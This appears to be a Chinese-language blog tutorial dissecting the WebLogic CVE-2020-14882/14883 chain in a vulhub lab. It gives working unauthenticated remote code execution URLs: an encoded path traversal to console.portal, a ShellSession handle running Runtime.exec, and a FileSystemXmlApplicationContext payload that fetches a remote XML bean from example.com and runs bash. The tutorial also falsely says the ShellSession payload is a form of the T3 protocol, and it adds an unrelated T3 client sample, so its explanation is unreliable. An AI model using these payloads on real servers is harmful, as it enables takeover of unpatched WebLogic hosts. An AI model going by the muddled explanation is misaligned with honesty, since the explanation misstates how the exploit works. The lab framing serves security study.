Weblogic CVE-2020-14882、CVE-2020-14883详解
前言:温故而知新,可以为师矣。同样洞,在不同的时候其实是有不同的见解的,受自身眼界,以及工具的利用角度,新的框架的出现,会不同的看法。今天从代码和poc的角度去分析下WeblogicCVE-2020-14882、CVE-2020-14883
0x01:环境搭建
下载docker,windows和mac都可以下载图形化,linux,乌班图,debian下载docker安装包,执行官网相关命令即可
下载vulhub项目
https://github.com/vulhub/vulhub
切换到/vulhub/vulhub/weblogic/CVE-2020-14882
然后运行:docker-compose up -d
访问:http://localhost:7001/console/login/LoginForm.jsp出现下述页面即正常搭建:
0x02:漏洞分析
Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14883。
CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
我们先把代码弄出来一份,使用docker cp命令,然后通过bp抓包定位参数接口再去分析代码,用这样的思路从代码上去分析CVE-2020-14882、CVE-2020-14883
Z:/Oracle/Middleware/user_projects/domains/ClassicDomain/servers/WLS_FORMS/tmp/_WL_internal/wls-wsat/tcsxmg/war--2023 一般一个漏洞的路径地址类似这样的,所以我们可以直接把user_projects或者Oracle下载下来:
docker cp 镜像id:文件路径 本地路径:
在上述的web.xml文件中,有一个Servlet映射,将名为"FileDefault"的Servlet映射到URL模式"/console/css/*"。这是关键的一点,因为攻击者可以构造一个特殊的URL,绕过这个映射,访问敏感的Console文件。这个URL的关键部分是/console/css/%252e%252e%252fconsole.portal
,它通过编码表示了目录遍历,攻击者可以越过"/console/css/"目录,访问到Console的敏感文console.portal
。
此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,
一是通过com.tangosol.coherence.mvel2.sh.ShellSession
,
直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession
执行命令:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
com.tangosol.coherence.mvel2.sh.ShellSession是一个类,它在Coherence库中用于执行Shell命令。这个类的存在并不一定会导致远程命令执行漏洞,但在某些情况下,如果未经适当的验证和控制,它可能被滥用并导致远程命令执行漏洞。
在这个payload中,攻击者通过构造特殊的URL来触发漏洞。攻击者利用了WebLogic Server中的一个组件(T3协议)的安全漏洞,绕过了验证机制,并最终执行了恶意代码。
一个T3协议的例子:
import weblogic.jndi.WLInitialContextFactory;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;
public class T3ProtocolExample {
public static void main(String[] args) {
try {
// 设置WebLogic Server的连接参数
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, WLInitialContextFactory.class.getName());
env.put(Context.PROVIDER_URL, "t3://localhost:7001");
// 创建初始上下文
Context ctx = new InitialContext(env);
// 在上下文中查找远程对象
MyRemoteObject remoteObj = (MyRemoteObject) ctx.lookup("myRemoteObject");
// 调用远程对象的方法
String result = remoteObj.sayHello("World");
System.out.println(result);
// 关闭上下文
ctx.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
首先,我们设置了WebLogic Server的连接参数,包括使用WLInitialContextFactory作为初始上下文工厂,并指定WebLogic Server的URL(例如:t3://localhost:7001)。
然后,我们创建了一个初始上下文(InitialContext),并使用上述连接参数进行初始化。
接下来,我们通过上下文查找远程对象(myRemoteObject),这是一个在WebLogic Server上注册的远程对象。
最后,我们调用远程对象的方法(例如:sayHello),并打印结果。
所以通俗易懂来讲上边的payload里边的类就是一种T3协议,然后执行了恶意代码。写入文件。
二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
。
是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。
首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如http://example.com/rce.xml
这里可以使用python启一个服务
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后使用一下payload:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")
在这个payload中,攻击者利用了com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类的构造函数,通过传入远程XML文件的URL来加载和解析XML文件。这个漏洞的根本原因是在处理XML文件时,未对远程文件的来源进行充分的验证和过滤。 由于未经适当的验证和过滤,攻击者可以构造恶意的XML文件,其中包含恶意代码或指令。当应用程序尝试加载和解析这个恶意的XML文件时,恶意代码或指令将被执行,从而导致远程命令执行漏洞。
这个利用方法也有自己的缺点,就是需要Weblogic的服务器能够访问到恶意XML(出网)。